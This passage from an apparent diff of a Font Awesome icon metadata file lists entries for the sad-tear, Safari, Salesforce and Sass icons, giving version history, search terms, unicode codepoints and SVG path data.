13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c2.5 2.2 8 4.7 13.7 1.6 4.4-2.4 6.9-7.4 6.1-12.4-3.9-25.2-34.1-42.1-59.8-42.1zm-96 92c-30.9 0-56 28.7-56 64s25.1 64 56 64 56-28.7 56-64-25.1-64-56-64z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm144 386.4V280c0-13.2-10.8-24-24-24s-24 10.8-24 24v151.4C315.5 447 282.8 456 248 456s-67.5-9-96-24.6V280c0-13.2-10.8-24-24-24s-24 10.8-24 24v114.4c-34.6-36-56-84.7-56-138.4 0-110.3 89.7-200 200-200s200 89.7 200 200c0 53.7-21.4 102.5-56 138.4zM205.8 234.5c4.4-2.4 6.9-7.4 6.1-12.4-4-25.2-34.2-42.1-59.8-42.1s-55.9 16.9-59.8 42.1c-.8 5 1.7 10 6.1 12.4 4.4 2.4 9.9 1.8 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c2.5 2.3 7.9 4.8 13.7 1.6zM344 180c-25.7 0-55.9 16.9-59.8 42.1-.8 5 1.7 10 6.1 12.4 4.5 2.4 9.9 1.8 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c2.5 2.2 8 4.7 13.7 1.6 4.4-2.4 6.9-7.4 6.1-12.4-3.9-25.2-34.1-42.1-59.8-42.1zm-96 92c-30.9 0-56 28.7-56 64s25.1 64 56 64 56-28.7 56-64-25.1-64-56-64z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "sad-tear": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "emoticon", + "face", + "tear", + "tears" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f5b4", + "label": "Loudly Crying Face", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635673, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zM152 416c-26.5 0-48-21-48-47 0-20 28.5-60.4 41.6-77.8 3.2-4.3 9.6-4.3 12.8 0C171.5 308.6 200 349 200 369c0 26-21.5 47-48 47zm16-176c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm170.2 154.2C315.8 367.4 282.9 352 248 352c-21.2 0-21.2-32 0-32 44.4 0 86.3 19.6 114.7 53.8 13.8 16.4-11.2 36.5-24.5 20.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zM152 416c-26.5 0-48-21-48-47 0-20 28.5-60.4 41.6-77.8 3.2-4.3 9.6-4.3 12.8 0C171.5 308.6 200 349 200 369c0 26-21.5 47-48 47zm16-176c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm170.2 154.2C315.8 367.4 282.9 352 248 352c-21.2 0-21.2-32 0-32 44.4 0 86.3 19.6 114.7 53.8 13.8 16.4-11.2 36.5-24.5 20.4z" + }, + "regular": { + "last_modified": 1628088634977, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm8-152c-13.2 0-24 10.8-24 24s10.8 24 24 24c23.8 0 46.3 10.5 61.6 28.8 8.1 9.8 23.2 11.9 33.8 3.1 10.2-8.5 11.6-23.6 3.1-33.8C330 320.8 294.1 304 256 304zm-88-64c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-64c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-165.6 98.8C151 290.1 126 325.4 126 342.9c0 22.7 18.8 41.1 42 41.1s42-18.4 42-41.1c0-17.5-25-52.8-36.4-68.1-2.8-3.7-8.4-3.7-11.2 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm8-152c-13.2 0-24 10.8-24 24s10.8 24 24 24c23.8 0 46.3 10.5 61.6 28.8 8.1 9.8 23.2 11.9 33.8 3.1 10.2-8.5 11.6-23.6 3.1-33.8C330 320.8 294.1 304 256 304zm-88-64c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-64c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-165.6 98.8C151 290.1 126 325.4 126 342.9c0 22.7 18.8 41.1 42 41.1s42-18.4 42-41.1c0-17.5-25-52.8-36.4-68.1-2.8-3.7-8.4-3.7-11.2 0z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "safari": { + "changes": [ + "4.4", + "5.0.0", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [ + "browser" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f267", + "label": "Safari", + "voted": false, + "svg": { + "brands": { + "last_modified": 1599860539200, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M274.69,274.69l-37.38-37.38L166,346ZM256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8ZM411.85,182.79l14.78-6.13A8,8,0,0,1,437.08,181h0a8,8,0,0,1-4.33,10.46L418,197.57a8,8,0,0,1-10.45-4.33h0A8,8,0,0,1,411.85,182.79ZM314.43,94l6.12-14.78A8,8,0,0,1,331,74.92h0a8,8,0,0,1,4.33,10.45l-6.13,14.78a8,8,0,0,1-10.45,4.33h0A8,8,0,0,1,314.43,94ZM256,60h0a8,8,0,0,1,8,8V84a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V68A8,8,0,0,1,256,60ZM181,74.92a8,8,0,0,1,10.46,4.33L197.57,94a8,8,0,1,1-14.78,6.12l-6.13-14.78A8,8,0,0,1,181,74.92Zm-63.58,42.49h0a8,8,0,0,1,11.31,0L140,128.72A8,8,0,0,1,140,140h0a8,8,0,0,1-11.31,0l-11.31-11.31A8,8,0,0,1,117.41,117.41ZM60,256h0a8,8,0,0,1,8-8H84a8,8,0,0,1,8,8h0a8,8,0,0,1-8,8H68A8,8,0,0,1,60,256Zm40.15,73.21-14.78,6.13A8,8,0,0,1,74.92,331h0a8,8,0,0,1,4.33-10.46L94,314.43a8,8,0,0,1,10.45,4.33h0A8,8,0,0,1,100.15,329.21Zm4.33-136h0A8,8,0,0,1,94,197.57l-14.78-6.12A8,8,0,0,1,74.92,181h0a8,8,0,0,1,10.45-4.33l14.78,6.13A8,8,0,0,1,104.48,193.24ZM197.57,418l-6.12,14.78a8,8,0,0,1-14.79-6.12l6.13-14.78A8,8,0,1,1,197.57,418ZM264,444a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V428a8,8,0,0,1,8-8h0a8,8,0,0,1,8,8Zm67-6.92h0a8,8,0,0,1-10.46-4.33L314.43,418a8,8,0,0,1,4.33-10.45h0a8,8,0,0,1,10.45,4.33l6.13,14.78A8,8,0,0,1,331,437.08Zm63.58-42.49h0a8,8,0,0,1-11.31,0L372,383.28A8,8,0,0,1,372,372h0a8,8,0,0,1,11.31,0l11.31,11.31A8,8,0,0,1,394.59,394.59ZM286.25,286.25,110.34,401.66,225.75,225.75,401.66,110.34ZM437.08,331h0a8,8,0,0,1-10.45,4.33l-14.78-6.13a8,8,0,0,1-4.33-10.45h0A8,8,0,0,1,418,314.43l14.78,6.12A8,8,0,0,1,437.08,331ZM444,264H428a8,8,0,0,1-8-8h0a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8h0A8,8,0,0,1,444,264Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M274.69,274.69l-37.38-37.38L166,346ZM256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8ZM411.85,182.79l14.78-6.13A8,8,0,0,1,437.08,181h0a8,8,0,0,1-4.33,10.46L418,197.57a8,8,0,0,1-10.45-4.33h0A8,8,0,0,1,411.85,182.79ZM314.43,94l6.12-14.78A8,8,0,0,1,331,74.92h0a8,8,0,0,1,4.33,10.45l-6.13,14.78a8,8,0,0,1-10.45,4.33h0A8,8,0,0,1,314.43,94ZM256,60h0a8,8,0,0,1,8,8V84a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V68A8,8,0,0,1,256,60ZM181,74.92a8,8,0,0,1,10.46,4.33L197.57,94a8,8,0,1,1-14.78,6.12l-6.13-14.78A8,8,0,0,1,181,74.92Zm-63.58,42.49h0a8,8,0,0,1,11.31,0L140,128.72A8,8,0,0,1,140,140h0a8,8,0,0,1-11.31,0l-11.31-11.31A8,8,0,0,1,117.41,117.41ZM60,256h0a8,8,0,0,1,8-8H84a8,8,0,0,1,8,8h0a8,8,0,0,1-8,8H68A8,8,0,0,1,60,256Zm40.15,73.21-14.78,6.13A8,8,0,0,1,74.92,331h0a8,8,0,0,1,4.33-10.46L94,314.43a8,8,0,0,1,10.45,4.33h0A8,8,0,0,1,100.15,329.21Zm4.33-136h0A8,8,0,0,1,94,197.57l-14.78-6.12A8,8,0,0,1,74.92,181h0a8,8,0,0,1,10.45-4.33l14.78,6.13A8,8,0,0,1,104.48,193.24ZM197.57,418l-6.12,14.78a8,8,0,0,1-14.79-6.12l6.13-14.78A8,8,0,1,1,197.57,418ZM264,444a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V428a8,8,0,0,1,8-8h0a8,8,0,0,1,8,8Zm67-6.92h0a8,8,0,0,1-10.46-4.33L314.43,418a8,8,0,0,1,4.33-10.45h0a8,8,0,0,1,10.45,4.33l6.13,14.78A8,8,0,0,1,331,437.08Zm63.58-42.49h0a8,8,0,0,1-11.31,0L372,383.28A8,8,0,0,1,372,372h0a8,8,0,0,1,11.31,0l11.31,11.31A8,8,0,0,1,394.59,394.59ZM286.25,286.25,110.34,401.66,225.75,225.75,401.66,110.34ZM437.08,331h0a8,8,0,0,1-10.45,4.33l-14.78-6.13a8,8,0,0,1-4.33-10.45h0A8,8,0,0,1,418,314.43l14.78,6.12A8,8,0,0,1,437.08,331ZM444,264H428a8,8,0,0,1-8-8h0a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8h0A8,8,0,0,1,444,264Z" + } + }, + "free": [ + "brands" + ] + }, + "salesforce": { + "changes": [ + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f83b", + "label": "Salesforce", + "svg": { + "brands": { + "last_modified": 1558987775911, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M248.89 245.64h-26.35c.69-5.16 3.32-14.12 13.64-14.12 6.75 0 11.97 3.82 12.71 14.12zm136.66-13.88c-.47 0-14.11-1.77-14.11 20s13.63 20 14.11 20c13 0 14.11-13.54 14.11-20 0-21.76-13.66-20-14.11-20zm-243.22 23.76a8.63 8.63 0 0 0-3.29 7.29c0 4.78 2.08 6.05 3.29 7.05 4.7 3.7 15.07 2.12 20.93.95v-16.94c-5.32-1.07-16.73-1.96-20.93 1.65zM640 232c0 87.58-80 154.39-165.36 136.43-18.37 33-70.73 70.75-132.2 41.63-41.16 96.05-177.89 92.18-213.81-5.17C8.91 428.78-50.19 266.52 53.36 205.61 18.61 126.18 76 32 167.67 32a124.24 124.24 0 0 1 98.56 48.7c20.7-21.4 49.4-34.81 81.15-34.81 42.34 0 79 23.52 98.8 58.57C539 63.78 640 132.69 640 232zm-519.55 31.8c0-11.76-11.69-15.17-17.87-17.17-5.27-2.11-13.41-3.51-13.41-8.94 0-9.46 17-6.66 25.17-2.12 0 0 1.17.71 1.64-.47.24-.7 2.36-6.58 2.59-7.29a1.13 1.13 0 0 0-.7-1.41c-12.33-7.63-40.7-8.51-40.7 12.7 0 12.46 11.49 15.44 17.88 17.17 4.72 1.58 13.17 3 13.17 8.7 0 4-3.53 7.06-9.17 7.06a31.76 31.76 0 0 1-19-6.35c-.47-.23-1.42-.71-1.65.71l-2.4 7.47c-.47.94.23 1.18.23 1.41 1.75 1.4 10.3 6.59 22.82 6.59 13.17 0 21.4-7.06 21.4-18.11zm32-42.58c-10.13 0-18.66 3.17-21.4 5.18a1 1 0 0 0-.24 1.41l2.59 7.06a1 1 0 0 0 1.18.7c.65 0 6.8-4 16.93-4 4 0 7.06.71 9.18 2.36 3.6 2.8 3.06 8.29 3.06 10.58-4.79-.3-19.11-3.44-29.41 3.76a16.92 16.92 0 0 0-7.34 14.54c0 5.9 1.51 10.4 6.59 14.35 12.24 8.16 36.28 2 38.1 1.41 1.58-.32 3.53-.66 3.53-1.88v-33.88c.04-4.61.32-21.64-22.78-21.64zM199 200.24a1.11 1.11 0 0 0-1.18-1.18H188a1.11 1.11 0 0 0-1.17 1.18v79a1.11 1.11 0 0 0 1.17 1.18h9.88a1.11 1.11 0 0 0 1.18-1.18zm55.75 28.93c-2.1-2.31-6.79-7.53-17.65-7.53-3.51 0-14.16.23-20.7 8.94-6.35 7.63-6.58 18.11-6.58 21.41 0 3.12.15 14.26 7.06 21.17 2.64 2.91 9.06 8.23 22.81 8.23 10.82 0 16.47-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.35-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.94-16.7h37.17a1.23 1.23 0 0 0 1.17-.94c-.29 0 2.07-14.7-6.09-24.23zm36.69 52.69c13.17 0 21.41-7.06 21.41-18.11 0-11.76-11.7-15.17-17.88-17.17-4.14-1.66-13.41-3.38-13.41-8.94 0-3.76 3.29-6.35 8.47-6.35a38.11 38.11 0 0 1 16.7 4.23s1.18.71 1.65-.47c.23-.7 2.35-6.58 2.58-7.29a1.13 1.13 0 0 0-.7-1.41c-7.91-4.9-16.74-4.94-20.23-4.94-12 0-20.46 7.29-20.46 17.64 0 12.46 11.48 15.44 17.87 17.17 6.11 2 13.17 3.26 13.17 8.7 0 4-3.52 7.06-9.17 7.06a31.8 31.8 0 0 1-19-6.35 1 1 0 0 0-1.65.71l-2.35 7.52c-.47.94.23 1.18.23 1.41 1.72 1.4 10.33 6.59 22.79 6.59zM357.09 224c0-.71-.24-1.18-1.18-1.18h-11.76c0-.14.94-8.94 4.47-12.47 4.16-4.15 11.76-1.64 12-1.64 1.17.47 1.41 0 1.64-.47l2.83-7.77c.7-.94 0-1.17-.24-1.41-5.09-2-17.35-2.87-24.46 4.24-5.48 5.48-7 13.92-8 19.52h-8.47a1.28 1.28 0 0 0-1.17 1.18l-1.42 7.76c0 .7.24 1.17 1.18 1.17h8.23c-8.51 47.9-8.75 50.21-10.35 55.52-1.08 3.62-3.29 6.9-5.88 7.76-.09 0-3.88 1.68-9.64-.24 0 0-.94-.47-1.41.71-.24.71-2.59 6.82-2.83 7.53s0 1.41.47 1.41c5.11 2 13 1.77 17.88 0 6.28-2.28 9.72-7.89 11.53-12.94 2.75-7.71 2.81-9.79 11.76-59.74h12.23a1.29 1.29 0 0 0 1.18-1.18zm53.39 16c-.56-1.68-5.1-18.11-25.17-18.11-15.25 0-23 10-25.16 18.11-1 3-3.18 14 0 23.52.09.3 4.41 18.12 25.16 18.12 14.95 0 22.9-9.61 25.17-18.12 3.21-9.61 1.01-20.52 0-23.52zm45.4-16.7c-5-1.65-16.62-1.9-22.11 5.41v-4.47a1.11 1.11 0 0 0-1.18-1.17h-9.4a1.11 1.11 0 0 0-1.18 1.17v55.28a1.12 1.12 0 0 0 1.18 1.18h9.64a1.12 1.12 0 0 0 1.18-1.18v-27.77c0-2.91.05-11.37 4.46-15.05 4.9-4.9 12-3.36 13.41-3.06a1.57 1.57 0 0 0 1.41-.94 74 74 0 0 0 3.06-8 1.16 1.16 0 0 0-.47-1.41zm46.81 54.1l-2.12-7.29c-.47-1.18-1.41-.71-1.41-.71-4.23 1.82-10.15 1.89-11.29 1.89-4.64 0-17.17-1.13-17.17-19.76 0-6.23 1.85-19.76 16.47-19.76a34.85 34.85 0 0 1 11.52 1.65s.94.47 1.18-.71c.94-2.59 1.64-4.47 2.59-7.53.23-.94-.47-1.17-.71-1.17-11.59-3.87-22.34-2.53-27.76 0-1.59.74-16.23 6.49-16.23 27.52 0 2.9-.58 30.11 28.94 30.11a44.45 44.45 0 0 0 15.52-2.83 1.3 1.3 0 0 0 .47-1.42zm53.87-39.52c-.8-3-5.37-16.23-22.35-16.23-16 0-23.52 10.11-25.64 18.59a38.58 38.58 0 0 0-1.65 11.76c0 25.87 18.84 29.4 29.88 29.4 10.82 0 16.46-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.36-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.93-16.7h37.16a1.25 1.25 0 0 0 1.18-.94c-.24-.01.94-7.07-1.41-15.54zm-23.29-6.35c-10.33 0-13 9-13.64 14.12H546c-.88-11.92-7.62-14.13-12.73-14.13z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M248.89 245.64h-26.35c.69-5.16 3.32-14.12 13.64-14.12 6.75 0 11.97 3.82 12.71 14.12zm136.66-13.88c-.47 0-14.11-1.77-14.11 20s13.63 20 14.11 20c13 0 14.11-13.54 14.11-20 0-21.76-13.66-20-14.11-20zm-243.22 23.76a8.63 8.63 0 0 0-3.29 7.29c0 4.78 2.08 6.05 3.29 7.05 4.7 3.7 15.07 2.12 20.93.95v-16.94c-5.32-1.07-16.73-1.96-20.93 1.65zM640 232c0 87.58-80 154.39-165.36 136.43-18.37 33-70.73 70.75-132.2 41.63-41.16 96.05-177.89 92.18-213.81-5.17C8.91 428.78-50.19 266.52 53.36 205.61 18.61 126.18 76 32 167.67 32a124.24 124.24 0 0 1 98.56 48.7c20.7-21.4 49.4-34.81 81.15-34.81 42.34 0 79 23.52 98.8 58.57C539 63.78 640 132.69 640 232zm-519.55 31.8c0-11.76-11.69-15.17-17.87-17.17-5.27-2.11-13.41-3.51-13.41-8.94 0-9.46 17-6.66 25.17-2.12 0 0 1.17.71 1.64-.47.24-.7 2.36-6.58 2.59-7.29a1.13 1.13 0 0 0-.7-1.41c-12.33-7.63-40.7-8.51-40.7 12.7 0 12.46 11.49 15.44 17.88 17.17 4.72 1.58 13.17 3 13.17 8.7 0 4-3.53 7.06-9.17 7.06a31.76 31.76 0 0 1-19-6.35c-.47-.23-1.42-.71-1.65.71l-2.4 7.47c-.47.94.23 1.18.23 1.41 1.75 1.4 10.3 6.59 22.82 6.59 13.17 0 21.4-7.06 21.4-18.11zm32-42.58c-10.13 0-18.66 3.17-21.4 5.18a1 1 0 0 0-.24 1.41l2.59 7.06a1 1 0 0 0 1.18.7c.65 0 6.8-4 16.93-4 4 0 7.06.71 9.18 2.36 3.6 2.8 3.06 8.29 3.06 10.58-4.79-.3-19.11-3.44-29.41 3.76a16.92 16.92 0 0 0-7.34 14.54c0 5.9 1.51 10.4 6.59 14.35 12.24 8.16 36.28 2 38.1 1.41 1.58-.32 3.53-.66 3.53-1.88v-33.88c.04-4.61.32-21.64-22.78-21.64zM199 200.24a1.11 1.11 0 0 0-1.18-1.18H188a1.11 1.11 0 0 0-1.17 1.18v79a1.11 1.11 0 0 0 1.17 1.18h9.88a1.11 1.11 0 0 0 1.18-1.18zm55.75 28.93c-2.1-2.31-6.79-7.53-17.65-7.53-3.51 0-14.16.23-20.7 8.94-6.35 7.63-6.58 18.11-6.58 21.41 0 3.12.15 14.26 7.06 21.17 2.64 2.91 9.06 8.23 22.81 8.23 10.82 0 16.47-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.35-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.94-16.7h37.17a1.23 1.23 0 0 0 1.17-.94c-.29 0 2.07-14.7-6.09-24.23zm36.69 52.69c13.17 0 21.41-7.06 21.41-18.11 0-11.76-11.7-15.17-17.88-17.17-4.14-1.66-13.41-3.38-13.41-8.94 0-3.76 3.29-6.35 8.47-6.35a38.11 38.11 0 0 1 16.7 4.23s1.18.71 1.65-.47c.23-.7 2.35-6.58 2.58-7.29a1.13 1.13 0 0 0-.7-1.41c-7.91-4.9-16.74-4.94-20.23-4.94-12 0-20.46 7.29-20.46 17.64 0 12.46 11.48 15.44 17.87 17.17 6.11 2 13.17 3.26 13.17 8.7 0 4-3.52 7.06-9.17 7.06a31.8 31.8 0 0 1-19-6.35 1 1 0 0 0-1.65.71l-2.35 7.52c-.47.94.23 1.18.23 1.41 1.72 1.4 10.33 6.59 22.79 6.59zM357.09 224c0-.71-.24-1.18-1.18-1.18h-11.76c0-.14.94-8.94 4.47-12.47 4.16-4.15 11.76-1.64 12-1.64 1.17.47 1.41 0 1.64-.47l2.83-7.77c.7-.94 0-1.17-.24-1.41-5.09-2-17.35-2.87-24.46 4.24-5.48 5.48-7 13.92-8 19.52h-8.47a1.28 1.28 0 0 0-1.17 1.18l-1.42 7.76c0 .7.24 1.17 1.18 1.17h8.23c-8.51 47.9-8.75 50.21-10.35 55.52-1.08 3.62-3.29 6.9-5.88 7.76-.09 0-3.88 1.68-9.64-.24 0 0-.94-.47-1.41.71-.24.71-2.59 6.82-2.83 7.53s0 1.41.47 1.41c5.11 2 13 1.77 17.88 0 6.28-2.28 9.72-7.89 11.53-12.94 2.75-7.71 2.81-9.79 11.76-59.74h12.23a1.29 1.29 0 0 0 1.18-1.18zm53.39 16c-.56-1.68-5.1-18.11-25.17-18.11-15.25 0-23 10-25.16 18.11-1 3-3.18 14 0 23.52.09.3 4.41 18.12 25.16 18.12 14.95 0 22.9-9.61 25.17-18.12 3.21-9.61 1.01-20.52 0-23.52zm45.4-16.7c-5-1.65-16.62-1.9-22.11 5.41v-4.47a1.11 1.11 0 0 0-1.18-1.17h-9.4a1.11 1.11 0 0 0-1.18 1.17v55.28a1.12 1.12 0 0 0 1.18 1.18h9.64a1.12 1.12 0 0 0 1.18-1.18v-27.77c0-2.91.05-11.37 4.46-15.05 4.9-4.9 12-3.36 13.41-3.06a1.57 1.57 0 0 0 1.41-.94 74 74 0 0 0 3.06-8 1.16 1.16 0 0 0-.47-1.41zm46.81 54.1l-2.12-7.29c-.47-1.18-1.41-.71-1.41-.71-4.23 1.82-10.15 1.89-11.29 1.89-4.64 0-17.17-1.13-17.17-19.76 0-6.23 1.85-19.76 16.47-19.76a34.85 34.85 0 0 1 11.52 1.65s.94.47 1.18-.71c.94-2.59 1.64-4.47 2.59-7.53.23-.94-.47-1.17-.71-1.17-11.59-3.87-22.34-2.53-27.76 0-1.59.74-16.23 6.49-16.23 27.52 0 2.9-.58 30.11 28.94 30.11a44.45 44.45 0 0 0 15.52-2.83 1.3 1.3 0 0 0 .47-1.42zm53.87-39.52c-.8-3-5.37-16.23-22.35-16.23-16 0-23.52 10.11-25.64 18.59a38.58 38.58 0 0 0-1.65 11.76c0 25.87 18.84 29.4 29.88 29.4 10.82 0 16.46-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.36-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.93-16.7h37.16a1.25 1.25 0 0 0 1.18-.94c-.24-.01.94-7.07-1.41-15.54zm-23.29-6.35c-10.33 0-13 9-13.64 14.12H546c-.88-11.92-7.62-14.13-12.73-14.13z" + } + }, + "free": [ + "brands" + ] + }, + "sass": { + "changes": [ + "5.0.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f41e", + "label": "Sass", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775912, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M301.84 378.92c-.3.6-.6 1.08 0 0zm249.13-87a131.16 131.16 0 0 0-58 13.5c-5.9-11.9-12-22.3-13-30.1-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.3-6.7-24 2.5-25.29 5.9a122.83 122.83 0 0 0-5.3 19.1c-2.3 11.7-25.79 53.5-39.09 75.3-4.4-8.5-8.1-16-8.9-22-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.29-6.7-24 2.5-25.3 5.9-2.7 11.4-5.3 19.1-33.89 77.3-42.08 95.4c-4.2 9.2-7.8 16.6-10.4 21.6-.4.8-.7 1.3-.9 1.7.3-.5.5-1 .5-.8-2.2 4.3-3.5 6.7-3.5 6.7v.1c-1.7 3.2-3.6 6.1-4.5 6.1-.6 0-1.9-8.4.3-19.9 4.7-24.2 15.8-61.8 15.7-63.1-.1-.7 2.1-7.2-7.3-10.7-9.1-3.3-12.4 2.2-13.2 2.2s-1.4 2-1.4 2 10.1-42.4-19.39-42.4c-18.4 0-44 20.2-56.58 38.5-7.9 4.3-25 13.6-43 23.5-6.9 3.8-14 7.7-20.7 11.4-.5-.5-.9-1-1.4-1.5-35.79-38.2-101.87-65.2-99.07-116.5 1-18.7 7.5-67.8 127.07-127.4 98-48.8 176.35-35.4 189.84-5.6 19.4 42.5-41.89 121.6-143.66 133-38.79 4.3-59.18-10.7-64.28-16.3-5.3-5.9-6.1-6.2-8.1-5.1-3.3 1.8-1.2 7 0 10.1 3 7.9 15.5 21.9 36.79 28.9 18.7 6.1 64.18 9.5 119.17-11.8 61.78-23.8 109.87-90.1 95.77-145.6C386.52 18.32 293-.18 204.57 31.22c-52.69 18.7-109.67 48.1-150.66 86.4-48.69 45.6-56.48 85.3-53.28 101.9 11.39 58.9 92.57 97.3 125.06 125.7-1.6.9-3.1 1.7-4.5 2.5-16.29 8.1-78.18 40.5-93.67 74.7-17.5 38.8 2.9 66.6 16.29 70.4 41.79 11.6 84.58-9.3 107.57-43.6s20.2-79.1 9.6-99.5c-.1-.3-.3-.5-.4-.8 4.2-2.5 8.5-5 12.8-7.5 8.29-4.9 16.39-9.4 23.49-13.3-4 10.8-6.9 23.8-8.4 42.6-1.8 22 7.3 50.5 19.1 61.7 5.2 4.9 11.49 5 15.39 5 13.8 0 20-11.4 26.89-25 8.5-16.6 16-35.9 16-35.9s-9.4 52.2 16.3 52.2c9.39 0 18.79-12.1 23-18.3v.1s.2-.4.7-1.2c1-1.5 1.5-2.4 1.5-2.4v-.3c3.8-6.5 12.1-21.4 24.59-46 16.2-31.8 31.69-71.5 31.69-71.5a201.24 201.24 0 0 0 6.2 25.8c2.8 9.5 8.7 19.9 13.4 30-3.8 5.2-6.1 8.2-6.1 8.2a.31.31 0 0 0 .1.2c-3 4-6.4 8.3-9.9 12.5-12.79 15.2-28 32.6-30 37.6-2.4 5.9-1.8 10.3 2.8 13.7 3.4 2.6 9.4 3 15.69 2.5 11.5-.8 19.6-3.6 23.5-5.4a82.2 82.2 0 0 0 20.19-10.6c12.5-9.2 20.1-22.4 19.4-39.8-.4-9.6-3.5-19.2-7.3-28.2 1.1-1.6 2.3-3.3 3.4-5C434.8 301.72 450.1 270 450.1 270a201.24 201.24 0 0 0 6.2 25.8c2.4 8.1 7.09 17 11.39 25.7-18.59 15.1-30.09 32.6-34.09 44.1-7.4 21.3-1.6 30.9 9.3 33.1 4.9 1 11.9-1.3 17.1-3.5a79.46 79.46 0 0 0 21.59-11.1c12.5-9.2 24.59-22.1 23.79-39.6-.3-7.9-2.5-15.8-5.4-23.4 15.7-6.6 36.09-10.2 62.09-7.2 55.68 6.5 66.58 41.3 64.48 55.8s-13.8 22.6-17.7 25-5.1 3.3-4.8 5.1c.5 2.6 2.3 2.5 5.6 1.9 4.6-.8 29.19-11.8 30.29-38.7 1.6-34-31.09-71.4-89-71.1zm-429.18 144.7c-18.39 20.1-44.19 27.7-55.28 21.3C54.61 451 59.31 421.42 82 400c13.8-13 31.59-25 43.39-32.4 2.7-1.6 6.6-4 11.4-6.9.8-.5 1.2-.7 1.2-.7.9-.6 1.9-1.1 2.9-1.7 8.29 30.4.3 57.2-19.1 78.3zm134.36-91.4c-6.4 15.7-19.89 55.7-28.09 53.6-7-1.8-11.3-32.3-1.4-62.3 5-15.1 15.6-33.1 21.9-40.1 10.09-11.3 21.19-14.9 23.79-10.4 3.5 5.9-12.2 49.4-16.2 59.2zm111 53c-2.7 1.4-5.2 2.3-6.4 1.6-.9-.5 1.1-2.4 1.1-2.4s13.9-14.9 19.4-21.7c3.2-4 6.9-8.7 10.89-13.9 0 .5.1 1 .1 1.6-.13 17.9-17.32 30-25.12 34.8zm85.58-19.5c-2-1.4-1.7-6.1 5-20.7 2.6-5.7 8.59-15.3 19-24.5a36.18 36.18 0 0 1 1.9 10.8c-.1 22.5-16.2 30.9-25.89 34.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M301.84 